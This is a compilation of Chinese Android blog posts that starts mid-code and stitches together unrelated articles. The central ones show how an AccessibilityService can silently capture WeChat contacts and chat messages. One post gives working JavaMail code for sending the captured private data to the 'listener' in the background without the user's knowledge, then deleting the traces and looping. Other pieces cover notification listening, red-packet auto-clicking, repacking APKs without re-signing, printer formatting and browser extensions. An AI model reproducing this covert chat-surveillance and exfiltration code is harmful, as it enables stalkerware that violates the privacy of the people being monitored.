                                Log.e("WeChatLog",ChatName + ":" + ChatRecord);
                            }

                        }
                        return;
                    }
                }
            }

            //聊天内容是:表情
            if ("android.widget.ImageView".equals(nodeChild.getClassName()) && "android.widget.LinearLayout".equals(nodeChild.getParent().getClassName().toString())) {
                Toast.makeText(this, ChatName+"发的是表情", Toast.LENGTH_SHORT).show();

                Log.e("WeChatLog",ChatName+"发的是表情");

                return;
            }

            //聊天内容是:图片
            if ("android.widget.ImageView".equals(nodeChild.getClassName())) {
                //安装软件的这一方发的图片(另一方发的暂时没实现)
                if("android.widget.FrameLayout".equals(nodeChild.getParent().getClassName().toString())){
                    if(!TextUtils.isEmpty(nodeChild.getContentDescription())){
                        if(nodeChild.getContentDescription().toString().contains("图片")){
                            Toast.makeText(this, ChatName+"发的是图片", Toast.LENGTH_SHORT).show();

                            Log.e("WeChatLog",ChatName+"发的是图片");
                        }
                    }
                }
            }

            //聊天内容是:小视频秒数,格式为00:00
            if ("android.widget.TextView".equals(nodeChild.getClassName()) && "android.widget.FrameLayout".equals(nodeChild.getParent().getClassName().toString())) {
                if (!TextUtils.isEmpty(nodeChild.getText())) {
                    String second = nodeChild.getText().toString().replace(":", "");
                    //正则表达式,确定是不是纯数字,并且做重复判断
                    if (second.matches("[0-9]+") && !second.equals(VideoSecond)) {
                        VideoSecond = second;
                        Toast.makeText(this, ChatName + "发了一段" + nodeChild.getText().toString() + "的小视频", Toast.LENGTH_SHORT).show();

                        Log.e("WeChatLog","发了一段" + nodeChild.getText().toString() + "的小视频");
                    }
                }

            }

            GetChatRecord(nodeChild);
        }
    }

使用方法:

设置-辅助功能-无障碍-点击WeChatLog开启即可(或者在设置中查找辅助功能等)

 

已知Bug:

没安装服务的另一方发的图片暂时无法监听到,后面改善

图片和表情没做重复信息过滤处理,所以如果触发了TYPE_VIEW_SCROLLED并且最新那条是这两个的话会出现重复。

华为7.0系统无法使用

 

写在最后:

个人兴趣研究,不建议用在非法途径上!!

上面是大部分的核心代码,不是完整的Demo,其实也就一个服务类而已,想要Demo的留言我发给你。

欢迎一起讨论学习:[email protected]

【笔记】Android NotificationListenerService监听短信、来电、微信、QQ等通知消息

最近和一个做手环的公司对接,封装了一堆蓝牙的接口,然后那些消息的监听什么的不给,只能自己去实现。

不得不说非常幸运,NotificationListenerService正好是API 18开始加入的,而蓝牙BLE最低支持的就是18。

根据API的描述,我们发现只需要两步就能实现通知的监听:

1、实现Service

创建一个实现NotificationListenerService的服务,如果只是监听通知的显示和取消只需要在服务里重写通知显示监听onNotificationPosted和通知移除onNotificationRemoved即可。

[java]
  1. /**
  2.  * 通知监听服务
  3.  *
  4.  * @author SJL
  5.  * @date 2017/5/22 22:21
  6.  */
  7. public class NLService extends NotificationListenerService {
  8.     @Override
  9.     public void onNotificationPosted(StatusBarNotification sbn) {
  10.         super.onNotificationPosted(sbn);
  11.     }
  12.     @Override
  13.     public void onNotificationRemoved(StatusBarNotification sbn) {
  14.         super.onNotificationRemoved(sbn);
  15.     }
  16. }

2、配置Manifest

在我们创建Service的时候,Manifest中已经有service节点的配置生成了,我们只需要配置一下权限和过滤器即可,非常方便。

[html]
  1. <service
  2.     android:name=“.NLService”
  3.     android:permission=“android.permission.BIND_NOTIFICATION_LISTENER_SERVICE”>
  4.     <intent-filter>
  5.         <action android:name=“android.service.notification.NotificationListenerService” />
  6.     </intent-filter>
  7. </service>

3、权限问题

只需要以上两步就能实现通知消息的监听确实很方便,但谷歌仍给我们留了个坑——权限问题。

与之前的悬浮窗问题一样,监听通知栏的消息也需要用户手动去授权。

判断是否已授权,使用了v7兼容库中方法,超方便

[java]
  1. /**
  2.  * 是否已授权
  3.  *
  4.  * @return
  5.  */
  6. private boolean isNotificationServiceEnable() {
  7.     return NotificationManagerCompat.getEnabledListenerPackages(this).contains(getPackageName());
  8. }

跳转通知授权界面

[java]
  1. startActivity(new Intent(“android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS”));

源码

Android开发——免Root监听微信的聊天记录(后台秘密发邮件)

1. 首先先展示一下效果图:

2. Accessibility机制

Accessibility机制之前已经介绍过了,具体可以查看Accessibility机制实现模拟点击,需要简单的配置(如设置被监听的对象为微信)和实现。此文中介绍了如何通过Accessibility自动抢红包,在这个过程中,很明显,在调用如下代码时,

[java]
  1. AccessibilityNodeInfo nodeInfo = getRootInActiveWindow();

遍历节点,再循环打印其getText()信息,便可以拿到用户通讯录以及聊天记录等信息的。

获取到这些信息后,我们可以暂时写入文件,以备发送。

[java]
  1. private void write(String info){
  2.         try{
  3.             FileOutputStream fos = openFileOutput(FILE_NAME,MODE_APPEND);
  4.             PrintStream ps = new PrintStream(fos);
  5.             ps.println(info);
  6.             ps.close();
  7.         }
  8.         catch (Exception e) {
  9.             e.printStackTrace();
  10.         }
  11.     }

当然,前提是在被监听用户在我们开启监听后聊过(或者说看到)的记录,否则用户连微信都不打开,我们是无从获取聊天记录等信息的。

本文原创,转载请注明出处:http://blog.csdn.net/seu_calvin/article/details/51917182

2. 后台秘密发邮件

当然,我们监听到这些信息,需要实时地反馈给我们。这里我们采用邮件的形式,通过后台“偷偷地”发送这些信息。

发送后台邮件需要用到三个第三方的库,分别为activation.jar,additionnal.jar,mail.jar。发送邮件的时候需要用到很多信息,包括发送邮件的服务器的IP和端口、邮件发送者的地址、邮件接收者的地址、登陆邮件发送服务器的用户名和密码、邮件主题、邮件的文本内容等等。

这里需要注意的是,我们后台发邮件需要账号密码等敏感信息,这些邮件信息,除了邮件的文本内容信息,其他的信息我们都可以在程序里面编写好,这样便可以实现在用户未知的情况下,将用户的个人隐私信息作为邮件的文本内容,从应用程序目录下的文件内取出,完成后台发送。

还有一点需要注意的是,在完成后台秘密发送的同时,需要将存放敏感信息的的文件进行删除,以此来防止部分内容的重复发送。删除之后,重新开始监听用户信息,若信息有效,便重新创建文件写入信息,当达到设定好的发送条件时,再进行后台邮件发送,以此循环,来达到一直监听的目的。具体的发送时机,删除暂时保存数据的文件的时机等等,可以自定义实现。

核心代码展示如下:

[java]
  1. //发送邮件
  2. MailSenderInfo mailInfo = new MailSenderInfo();
  3. mailInfo.setMailServerHost(“smtp.163.com”);
  4. mailInfo.setMailServerPort(“25”);
  5. mailInfo.setValidate(true);
  6. mailInfo.setUserName(userid);  //你的邮箱地址
  7. mailInfo.setPassword(password);//您的邮箱密码
  8. mailInfo.setFromAddress(from);
  9. mailInfo.setToAddress(to);
  10. mailInfo.setSubject(subject);
  11. mailInfo.setContent(read());
  12. //这个类主要来发送邮件
  13. SimpleMailSender sms = new SimpleMailSender();
  14. //发送文体格式
  15. sms.sendTextMail(mailInfo);

 

其中SimpleMailSender类展示如下,MyAuthenticator类需要继承Authenticator类,主要是在getPasswordAuthentication()方法中返回封装好的类型为PasswordAuthentication的鉴权结果即可。

[java]
  1. public class SimpleMailSender
  2. {
  3.     /**
  4.      * 以文本格式发送邮件
  5.      * @param mailInfo 待发送的邮件的信息
  6.      */
  7.     public boolean sendTextMail(MailSenderInfo mailInfo){
  8.         // 判断是否需要身份认证
  9.         MyAuthenticator authenticator = null;
  10.         Properties pro = mailInfo.getProperties();
  11.         if (mailInfo.isValidate())
  12.         {
  13.             // 如果需要身份认证,则创建一个密码验证器
  14.             authenticator = new MyAuthenticator(mailInfo.getUserName(), mailInfo.getPassword());
  15.         }
  16.         // 根据邮件会话属性和密码验证器构造一个发送邮件的session
  17.         Session sendMailSession = Session.getDefaultInstance(pro,authenticator);
  18.         try
  19.         {
  20.             // 根据session创建一个邮件消息
  21.             Message mailMessage = new MimeMessage(sendMailSession);
  22.             // 创建邮件发送者地址
  23.             Address from = new InternetAddress(mailInfo.getFromAddress());
  24.             // 设置邮件消息的发送者
  25.             mailMessage.setFrom(from);
  26.             // 创建邮件的接收者地址,并设置到邮件消息中
  27.             Address to = new InternetAddress(mailInfo.getToAddress());
  28.             mailMessage.setRecipient(Message.RecipientType.TO,to);
  29.             // 设置邮件消息的主题
  30.             mailMessage.setSubject(mailInfo.getSubject());
  31.             // 设置邮件消息发送的时间
  32.             mailMessage.setSentDate(new Date());
  33.             // 设置邮件消息的主要内容
  34.             String mailContent = mailInfo.getContent();
  35.             mailMessage.setText(mailContent);
  36.             // 发送邮件
  37.             Transport.send(mailMessage);
  38.         }
  39.         catch (MessagingException ex){
  40.             ex.printStackTrace();
  41.         }
  42.         return false;
  43.     }
  44. }

MailSenderInfo类展示如下。

[java]
  1. public class MailSenderInfo {
  2.     // 发送邮件的服务器的IP和端口
  3.     private String mailServerHost = Constant.SERVICE_IP;
  4.     private String mailServerPort = Constant.SERVICE_PORT;//一般为25
  5.     // 邮件发送者的地址
  6.     private String fromAddress;
  7.     // 邮件接收者的地址
  8.     private String toAddress;
  9.     // 登陆邮件发送服务器的用户名和密码
  10.     private String userName;
  11.     private String password;
  12.     // 是否需要身份验证
  13.     private boolean validate = true;
  14.     // 邮件主题
  15.     private String subject;
  16.     // 邮件的文本内容
  17.     private String content;
  18.     /**
  19.      * 获得邮件会话属性
  20.      */
  21.     public Properties getProperties() {
  22.         Properties p = new Properties();
  23.         p.put(“mail.smtp.host”this.mailServerHost);
  24.         p.put(“mail.smtp.port”this.mailServerPort);
  25.         p.put(“mail.smtp.auth”“true”);
  26.         return p;
  27.     }
  28.     public String getMailServerHost() {
  29.         return mailServerHost;
  30.     }
  31.     public void setMailServerHost(String mailServerHost) {
  32.         this.mailServerHost = mailServerHost;
  33.     }
  34.     public String getMailServerPort() {
  35.         return mailServerPort;
  36.     }
  37.     public void setMailServerPort(String mailServerPort) {
  38.         this.mailServerPort = mailServerPort;
  39.     }
  40.     public boolean isValidate() {
  41.         return validate;
  42.     }
  43.     public void setValidate(boolean validate) {
  44.         this.validate = validate;
  45.     }
  46.     public String getFromAddress(){
  47.         return fromAddress;
  48.     }
  49.     public void setFromAddress(String fromAddress){
  50.         this.fromAddress = fromAddress;
  51.     }
  52.     public String getPassword(){
  53.         return password;
  54.     }
  55.     public void setPassword(String password){
  56.         this.password = password;
  57.     }
  58.     public String getToAddress(){
  59.         return toAddress;
  60.     }
  61.     public void setToAddress(String toAddress){
  62.         this.toAddress = toAddress;
  63.     }
  64.     public String getUserName(){
  65.         return userName;
  66.     }
  67.     public void setUserName(String userName){
  68.         this.userName = userName;
  69.     }
  70.     public String getSubject(){
  71.         return subject;
  72.     }
  73.     public void setSubject(String subject){
  74.         this.subject = subject;
  75.     }
  76.     public String getContent(){
  77.         return content;
  78.     }
  79.     public void setContent(String textContent){
  80.         this.content = textContent;
  81.     }
  82. }

Android开发——Accessibility机制实现模拟点击(微信自动抢红包实现)

1. 何为Accessibility机制

许多Android使用者因为各种情况导致他们要以不同的方式与手机交互。对于那些由于视力、听力或其它身体原因导致不能方便使用Android智能手机的用户,Android提供了Accessibility功能和服务帮助这些用户更加简单地操作设备,包括文字转语音、触觉反馈、手势操作、轨迹球和手柄操作。开发者可以搭建自己的Accessibility服务,这可以加强应用的可用性,例如声音提示,物理反馈,和其他可选的操作模式。

随着Android系统版本的迭代,Accessibility功能也越来越强大,它能实时地获取当前操作应用的窗口元素信息,并能够双向交互,既能获取用户的输入,也能对窗口元素进行操作,比如点击按钮。Accessibility功能在使用时需要经过用户授权,如果用户拒绝授权,应用将无法实现本身的功能。

需要注意的是,此机制是免Root的,并且需要API14以上。以前做过的一个微信抢红包的小项目就是基于此机制实现的。这里稍微讲一下实现过程。

本文原创,转载请注明出处:http://blog.csdn.net/seu_calvin/article/details/51912738

2. 我们要利用Accessibility机制里的哪些功能实现模拟点击

2.1 我们要使用的Accessibility机制中最常用的三个功能:

(1)拿到用户在指定APP里完成比如点击,滑动,或是屏幕内容变化等用户不可控的情况下的一些回调方法。

拿到这些回调的目的,在本例就是作为触发条件。我们不可能写一个线程,每时每刻都去关注界面上有没有红包,这样做不仅浪费用户的电量,而且可能会造成卡顿。

(2)获取当前操作应用的窗口元素信息

说白了为了点击,我们得知道根据什么去选择点哪个View,当然要提前拿到用户当前界面的一些View的信息。(包括一些TextView,ImageButton等,图片和视频是无法获得的。)我们可以拿到TextView和Button上的文本信息。这对于我们来说很关键。并且提供了筛选的功能,有两种筛选的方式,一种是通过文字内容,即List<AccessibilityNodeInfo> list = nodeInfo.findAccessibilityNodeInfosByText(), 另一种是通过View的ID,List<AccessibilityNodeInfo> list = nodeInfo.findAccessibilityNodeInfosByViewId()。返回的都是AccessibilityNodeInfo的节点集合。

(3)模拟点击

当我们找到目标View的时候,即可实现点击。其实就是一句话。n.performAction(AccessibilityNodeInfo.ACTION_CLICK)。

当然一般的TextView点不点也没什么效果。一般Button,ImageButton,还有大部分APP里面的最下面一栏ViewGrope里的选项按钮也是可以点的。

(这里可能有人要说了,能点的东西好少啊。但毕竟是免Root的,微信红包这种还是可以完成自动点击的,其实这个机制最恐怖的是上面所说的第一个功能,获取当前界面的部分View信息。如果抢红包App里加上几句恶意代码,拿到用户通讯录,聊天记录等极其私人的信息也是可以的。后面再把获取用户隐私信息的过程写一下吧,,这篇重点是Accessibility机制下的模拟点击)。

如果想点击屏幕上的任何一个位置,是需要Root的,在这篇文章有所介绍Android开发——后台获取用户点击位置坐标(可获取用户支付宝密码)

3. 我们如何使用Accessibility机制

3.1 首先我们需要定义自己的类,并继承AccessibilityService类

[java]
  1. public class MyAccessibility extends AccessibilityService {
  2.     private static final String TAG = “MyAccessibility”;
  3.     @SuppressLint(“NewApi”)
  4.     @Override
  5.     public void onAccessibilityEvent(AccessibilityEvent event) {
  6.         // TODO Auto-generated method stub
  7.         int eventType = event.getEventType();
  8.         String eventText = “”;
  9.         Log.i(TAG, “==============Start====================”);
  10.         switch (eventType) {
  11.         case AccessibilityEvent.TYPE_VIEW_CLICKED:
  12.             eventText = “TYPE_VIEW_CLICKED”;
  13.             break;
  14.         case AccessibilityEvent.TYPE_VIEW_LONG_CLICKED:
  15.             eventText = “TYPE_VIEW_LONG_CLICKED”;
  16.             break;
  17.         case AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED:
  18.             eventText = “TYPE_WINDOW_STATE_CHANGED”;
  19.             break;
  20.         case AccessibilityEvent.TYPE_NOTIFICATION_STATE_CHANGED:
  21.             eventText = “TYPE_NOTIFICATION_STATE_CHANGED”;
  22.             break;
  23.         case AccessibilityEvent.CONTENT_CHANGE_TYPE_SUBTREE:
  24.             eventText = “CONTENT_CHANGE_TYPE_SUBTREE”
  25.             break;
  26.         }
  27.         Log.i(TAG, eventText);
  28.         Log.i(TAG, “=============END=====================”);
  29.     }
  30.     @Override
  31.     public void onInterrupt() {
  32.         // TODO Auto-generated method stub
  33.     }
  34. }

通过这个类的onAccessibilityEvent方法,我们可以拿到用户在指定APP里完成比如点击,滑动,或是屏幕内容变化等用户不可控的情况下的一些回调方法,这里就作为上面所说的触发条件。这里我们选择TYPE_NOTIFICATION_STATE_CHANGED作为判断红包消息通知到来的触发条件,每当通知到来,我们就拿到List<CharSequence> texts = event.getText()通知栏上的text,再去循环判断是否含有“微信红包”字样即可。如果含有,就通过如下代码打开通知栏。

[java]
  1. Notification notification = (Notification) event.getParcelableData();
  2. notification.contentIntent.send();

3.2 接着我们监听CONTENT_CHANGE_TYPE_SUBTREE或TYPE_WINDOW_STATE_CHANGED作为进入聊天界面的触发条件。接着根据View上的内容找到一组可以点击的View的集合。再通过for循环去选择点击最后一个红包,这里必须点一个,因为不能做到循环点击的话,因为我们无法点击返回的按钮,所以最好选择点最后一个,如果界面上不只有一个红包的话。这样点进去之后,继续调用getRootInActiveWindow()并拿到含有“拆红包”字样的节点点击即可。点击之后会停顿在领取成功的界面,这时,是不用管的,因为下一个微信红包到来,会继续从点击通知栏进入循环。

[java]
  1. AccessibilityNodeInfo nodeInfo = getRootInActiveWindow();
  2. List<AccessibilityNodeInfo> wxList = nodeInfo.findAccessibilityNodeInfosByText(“领取红包”);

3.3 最后要在Manifest.xml中配置我们的服务。

[java]
  1. <service
  2.    android:name=“.MyAccessibility <span style=”font-family: ‘Microsoft YaHei’;“>”</span>
  3.    android:enabled=“true”
  4.    android:exported=“true”
  5.    android:label=“@string/app_name”
  6.    android:permission=“android.permission.BIND_ACCESSIBILITY_SERVICE” >
  7.    <intent-filter>
  8.        <action android:name=“android.accessibilityservice.AccessibilityService” />
  9.    </intent-filter>
  10.    //这个声明是对这个AccessibilityService的配置
  11.    <meta-data
  12.        android:name=“android.accessibilityservice”
  13.        android:resource=“@xml/qianghongbao_service_config” />
  14. lt;/service>

3.4 其中xml/qianghongbao_service_config是做了初始化的工作,具体实现如下。

[java]
  1. <?xml version=“1.0” encoding=“utf-8”?>
  2. <accessibility-service xmlns:android=“http://schemas.android.com/apk/res/android”
  3.     android:accessibilityEventTypes=“typeAllMask”
  4.     android:accessibilityFeedbackType=“feedbackGeneric”
  5.     android:accessibilityFlags=“flagDefault”
  6.     android:canRetrieveWindowContent=“true”
  7.     android:description=“@string/accessibility_description”
  8.     android:notificationTimeout=“50”
  9.     android:packageNames=“com.tencent.mm” />
  10.     <!–typeAllMask是设置响应事件的类型,typeAllMask当然就是响应所有类型的事件–>
  11.     <!–feedbackGeneric是设置回馈给用户的方式,有语音播出和振动。可以配置一些TTS引擎,让它实现发音。–>
  12.     <!–com.tencent.mm微信的包名,便可以监听微信产生的事件–>

 

最后需要注意的是:

(1)微信必须开通知栏的设置。

(2)微信高版本测试失败,会卡在拆红包的地方。如果不介意可以尝试比较低的微信版本。我的百度网盘里有一个备份的比较低版本的微信apk包,亲测有效。http://pan.baidu.com/s/1skTw7yH

(3)手机必须是API14以上,一般是都满足的。

(4)很明显,在getRootInActiveWindow()时,遍历节点,再循环打印其getText()信息,是可以拿到用户通讯录以及聊天记录等信息的。但是拿到隐私需要“偷偷地”发送给作为“监听者”的我们,后面会专门写文介绍这个过程。

(5)nodeInfo.findAccessibilityNodeInfosByViewId()这个功能我们在本例中没有用到,其实也是很有用的,有些ImageButton上可能没有text内容,但是可以通过反编译apk文件拿到View的ID即可获取到这个节点。(这里需要注意的是,如果你想点击百度云的文件列表上的View,通过反编译是无法拿到他的ID的,因为如果你有开发经验,列表的适配器都是通过getView()去加载一个子布局,这样具体的某一行Item是不存在id这个概念的。)

(6)如果想点击屏幕上的任何一个位置,是需要Root的,这个后面会写文介绍。

Android几行代码实现实时监听微信聊天

实现效果:

实时监听当前聊天页面的最新一条消息,如图:

          

 

实现原理:

同样是利用AccessibilityService辅助服务,关于这个服务类还不了解的同学可以先看下我上一篇关于抢红包的博客,原理都一样:

http://www.cnblogs.com/cxk1995/p/6363574.html

1.首先我们先来看一下微信聊天界面的布局,查看方法:

AndroidStudio–Tools–Android–Android Device Monitor,点击:

 

2.如图我们可以看到,其实每一条微信聊天记录都是一个RelativeLayout:

 

3.再往下看,我们又可以发现,其实每一个RelativeLayout下面,又包含了一个TextView,还有一个LinearLayout

TextView就是聊天的时间

LinearLayout下则包含了我们所需要的聊天对象以及聊天信息,目前我们只需要这个就行了。

 

4.分析完后,我们思路就有了:

首先遍历获取每个RelativeLayout下的LinearLayout,因为该LinearLayout存在resource-id(com.tencent.mm:id/o),所以我们可以很容易可以获取到,然后我们再在LinearLayout中查找含有聊天对象(resource-id:com.tencent.mm:id/i_)以及聊天内容(resource-id:com.tencent.mm:id/ib)。

注:关于resource-id直接在上一步的查看布局下发可看到,因为resource-id随着版本的迭代可能会发生改变,所以也导致了一些不稳定因素。

 

核心代码

代码不多,也加了注释,直接看代码即可:

package com.cxk.wechatlog;

import android.accessibilityservice.AccessibilityService;
import android.content.Intent;
import android.text.TextUtils;
import android.util.Log;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityNodeInfo;
import android.widget.Toast;

import java.util.List;

/**
 * Created by cxk on 2017/2/4.
 * email:[email protected]
 * <p>
 * 获取即时微信聊天记录服务类
 */

public class WeChatLogService extends AccessibilityService {

    /**
     * 聊天对象
     */
    private String ChatName;
    /**
     * 聊天最新一条记录
     */
    private String ChatRecord = "test";

    @Override
    public void onAccessibilityEvent(AccessibilityEvent event) {
        int eventType = event.getEventType();
        switch (eventType) {
            //每次在聊天界面中有新消息到来时都出触发该事件
            case AccessibilityEvent.TYPE_VIEW_SCROLLED:
                //获取当前聊天页面的根布局
                AccessibilityNodeInfo rootNode = getRootInActiveWindow();
                //获取聊天信息
                getWeChatLog(rootNode);
                break;
        }

    }

    /**
     * 遍历
     *
     * @param rootNode
     */

    private void getWeChatLog(AccessibilityNodeInfo rootNode) {
        if (rootNode != null) {
            //获取所有聊天的线性布局
            List<AccessibilityNodeInfo> listChatRecord = rootNode.findAccessibilityNodeInfosByViewId("com.tencent.mm:id/o");
            if(listChatRecord.size()==0){
                return;
            }
            //获取最后一行聊天的线性布局(即是最新的那条消息)
            AccessibilityNodeInfo finalNode = listChatRecord.get(listChatRecord.size() - 1);
            //获取聊天对象list(其实只有size为1)
            List<AccessibilityNodeInfo> imageName = finalNode.findAccessibilityNodeInfosByViewId("com.tencent.mm:id/i_");
            //获取聊天信息list(其实只有size为1)
            List<AccessibilityNodeInfo> record = finalNode.findAccessibilityNodeInfosByViewId("com.tencent.mm:id/ib");
            if (imageName.size() != 0) {
                if (record.size() == 0) {
                    //判断当前这条消息是不是和上一条一样,防止重复
                    if (!ChatRecord.equals("对方发的是图片或者表情")) {
                        //获取聊天对象
                        ChatName = imageName.get(0).getContentDescription().toString().replace("头像", "");
                        //获取聊天信息
                        ChatRecord = "对方发的是图片或者表情";

                        Log.e("AAAA", ChatName + ":" + "对方发的是图片或者表情");
                        Toast.makeText(this, ChatName + ":" + ChatRecord, Toast.LENGTH_SHORT).show();
                    }
                } else {
                    //判断当前这条消息是不是和上一条一样,防止重复
                    if (!ChatRecord.equals(record.get(0).getText().toString())) {
                        //获取聊天对象
                        ChatName = imageName.get(0).getContentDescription().toString().replace("头像", "");
                        //获取聊天信息
                        ChatRecord = record.get(0).getText().toString();

                        Log.e("AAAA", ChatName + ":" + ChatRecord);
                        Toast.makeText(this, ChatName + ":" + ChatRecord, Toast.LENGTH_SHORT).show();
                    }
                }
            }
        }
    }

    /**
     * 必须重写的方法:系统要中断此service返回的响应时会调用。在整个生命周期会被调用多次。
     */
    @Override
    public void onInterrupt() {
        Toast.makeText(this, "我快被终结了啊-----", Toast.LENGTH_SHORT).show();
    }

    /**
     * 服务开始连接
     */
    @Override
    protected void onServiceConnected() {
        Toast.makeText(this, "服务已开启", Toast.LENGTH_SHORT).show();
        super.onServiceConnected();
    }

    /**
     * 服务断开
     *
     * @param intent点击打开链接
     * @return
     */
    @Override
    public boolean onUnbind(Intent intent) {
        Toast.makeText(this, "服务已被关闭", Toast.LENGTH_SHORT).show();
        return super.onUnbind(intent);
    }
}

 

使用方法:

设置-辅助功能-无障碍-点击WeChatLog开启即可

 

写在最后:

个人兴趣研究,不建议用在非法途径上!!Demo想要的话留言我发给你嘻嘻….

原文:

Android几行代码实现实时监听微信聊天

Android 不修改签名的情况下重新打包apk文件

一般使用Apktool反编译apk后,再重新打包需要重新签名apk文件,这样就修改了原有的签名,也就是所谓的山寨。那么怎么可以不修改原有的签名呢?

file SystemUI.apk

输出:SystemUI.apk: Zip archive data, at least v2.0 to extract

看到没,这哥们就是一个zip压缩文件。。。

那好办!

先解压:

mkdir -m 777 SystemUI

cd SystemUI

unzip ../SystemUI.apk

解压到当前目录了,当你修改后,替换掉里面的文件,注意不要改动META-INF文件夹,因为这里存的就是签名信息。

压缩成apk:

zip -r SystemUI.apk ./*

新生成的apk就没有改变它之前的签名了,还是原装正版,爽否?

就连系统签名的apk都可以原封不动的破解后再烧回手机。。。

还有一种方法更变态,直接用好压软件打开,拖拽的方式替换里面的文件,签名原封不动,霸气!

唉!只能感慨android的开放和java的强大!

Android——蓝牙连接打印机以及打印格式

我的第一个工作Android项目,刚刚完成使用手机连接打印机然后打印小票的功能,单位买了一个类似车载的打印机,非常小巧,打印机的卖家附送了开发使用的手机连接打印机的代码,非常方便。

代码已经分享到我的git代码库,

https://github.com/hejiawang/PrintDemo

下载地址:

https://codeload.github.com/hejiawang/PrintDemo/zip/master

下载下来基本就能直接用到项目中了,当然,要根据具体业务修改一下了。。。

 

 

里面还有关于打印格式的工具类,能够直接使用,不过使用的时候要注意  /n  符号,不然打印不出格式,比如这个工具类的第二个方法,

Java代码
  1. /**
  2.      * 排版居中内容(以’:’对齐)
  3.      * 
  4.      * 例:姓名:李白
  5.      *     病区:5A病区
  6.      *   住院号:11111
  7.      * 
  8.      * @param msg
  9.      * @return
  10.      */
  11.     public static String printMiddleMsg(LinkedHashMap<String, String> middleMsgMap) {
  12.         sb.delete(0, sb.length());
  13.         String separated = “:”;
  14.         int leftLength = (LINE_BYTE_SIZE – getBytesLength(separated)) / 2;
  15.         for (Entry<String, String> middleEntry : middleMsgMap.entrySet()) {
  16.             for (int i = 0; i < (leftLength – getBytesLength(middleEntry.getKey())); i++) {
  17.                 sb.append(” “);
  18.             }
  19.             sb.append(middleEntry.getKey() + “:” + middleEntry.getValue());
  20.         }
  21.         return sb.toString();
  22.     }

 

在构建map时,map的值一定要以  \n  结尾,才会打印出相应的格式,、

 

Java代码
  1. LinkedHashMap<String, String> middleMsgMap = new LinkedHashMap<String, String>();
  2.         middleMsgMap.put(“日期  “”  “ + timeData + “\n”);
  3.         middleMsgMap.put(“时间  “”  “ + timeL + “\n”);
  4.         middleMsgMap.put(“里程  “”  “ + mileage + “\n”);
  5.         middleMsgMap.put(“金额  “”  “ + money + “\n”);
  6.         middleMsgMap.put(“余额  “”  “ + balance + “\n”);
  7.         String content = BluetoothPrintFormatUtil.printMiddleMsg(middleMsgMap);
  8.         mService.sendMessage(content + “\n”“GBK”);

毛子开发的神器:手机浏览器可用桌面Chrome插件

Chrome之所以被誉为最强的PC浏览器,一大原因就是可以安装各种各样的扩展(国内俗称“插件”,下文就随大家习惯说插件吧),Chrome可以借助插件,实现很多神奇的功能。但是非常遗憾的是,手机上的Chrome,就不支持插件,这让手机版Chrome一下子成为功能最弱鸡的浏览器之一。但是手机上的浏览器,是不是真的就完全和插件无缘了呢?俄罗斯人不答应!来自俄罗斯的手机浏览器Yandex,就可以使用桌面版的Chrome插件,堪称神器!

Yandex浏览器
  • 软件版本:16.11.0.649
  • 软件大小:35.18MB
  • 软件授权:免费
  • 适用平台:Android
立即下载

Yandex这个名字,相信关注互联网的朋友会比较熟悉,这是俄罗斯最大的搜索引擎,地位相当于我朝的百度。Yandex网站是不支持中文的,但Yandex手机浏览器却支持中文语言。Yandex浏览器安卓版不仅支持中文语言,而且首页还会显示中国网站入口等本土化内容,可惜搜索引擎默认却是Google,本土化并不彻底。

手机Chrome插件 手机Chrome扩展手机Chrome插件 手机Chrome扩展
Yandex浏览器主界面,支持中文语言

Yandex浏览器的功能很简单,无非就是常见的支持多标签开启网页,支持翻译啊分享啊等等功能,和其他手机浏览器并没有太大区别。不过,Yandex浏览器的卖点不在于本身功能,而在于可以添加扩展插件!在Yandex浏览器的菜单中,可以看到“扩展插件”的功能入口,点进去就可以安装各种已经为Yandex手机浏览器适配过的插件了。根据页面的描述,Yandex的插件中心有超过1500款插件。

手机Chrome插件 手机Chrome扩展手机Chrome插件 手机Chrome扩展
功能看似平平无奇,重点是“扩展插件”!

手机Chrome插件 手机Chrome扩展手机Chrome插件 手机Chrome扩展
Yandex自带扩展插件中心,但数量和Chrome商店的插件还是没得比

不过,Yandex插件中心所提供的插件,还是偏少的。毕竟这些是特供插件,和电脑上Chrome数以万计的插件相比,还是显得稀少。但是,Yandex插件中心只是个表象,Yandex真正强大的地方,在于可以安装桌面版Yandex的插件,这点是手机版Chrome都无法做到的!

Yandex手机浏览器默认并不开启安装桌面Chrome插件的选项,我们需要一些方法才能使用这功能。

首先,在地址栏输入“Chrome://extensions”,进入到Yandex的扩展管理中心。从这里可以看到,其实Yandex手机浏览器,使用了和Chrome相同的内核,所以Chrome的命令也可以生效。

手机Chrome插件 手机Chrome扩展手机Chrome插件 手机Chrome扩展
进入到扩展插件界面,开启“开发模式”

接着,找到页面上方的“开发模式”,勾选开启。这样,就可以从Yandex手机浏览器安装Chrome插件了。

但是还没完!Yandex并不能直接安装后缀名为“crx”的Chrome插件,我们需要动一些手脚。Chrome插件的后缀名从“crx”改成“zip”,然后用WinRAR等压缩软件解压到一个文件夹中。

手机Chrome插件 手机Chrome扩展
把Chrome插件的文件后缀名改成“zip”

然后,把文件夹中的“_metadata”目录改名或者删掉,不然会安装失败。

手机Chrome插件 手机Chrome扩展
解压压缩包到一个文件夹,删掉里面的“_metadata”目录

最后,就可以用Yandex手机浏览器安装Chrome扩展了。在Yandex中点击“加载已解压的扩展程序”,然后通过文件管理器开启解压了的插件的目录,任意选择一个JS文件,就可以安装了!

手机Chrome插件 手机Chrome扩展手机Chrome插件 手机Chrome扩展
在Yandex中开启插件的文件夹,打开任意JS文件

手机Chrome插件 手机Chrome扩展手机Chrome插件 手机Chrome扩展
安装成功和安装失败的界面,如果没有删除“_metadata”,会安装失败

经过笔者实测,Yandex手机浏览器的确可以成功安装Chrome插件,并成功运行生效。例如笔者安装的BiliBili助手,就能够在Yandex中顺利运行!

手机Chrome插件 手机Chrome扩展手机Chrome插件 手机Chrome扩展
的确可以成功运行Chrome插件!

Yandex手机浏览器安装Chrome插件需要用到本地文件,而不能通过Chrome商店下载。那么Chrome插件可以到哪里下载呢?其实在搜索引擎随便一搜,到处都有。如果可以科学上网,可以这个网站(点此进入)下载Chrome商店的插件,Chrome商店可以点此进入

总的来说,Yandex手机浏览器本身功能平平,但支持Chrome插件这点,令其成为了手机上当之无愧的神器!如果你想在手机上也体验Chrome插件的强大,这款Yandex浏览器值得一试!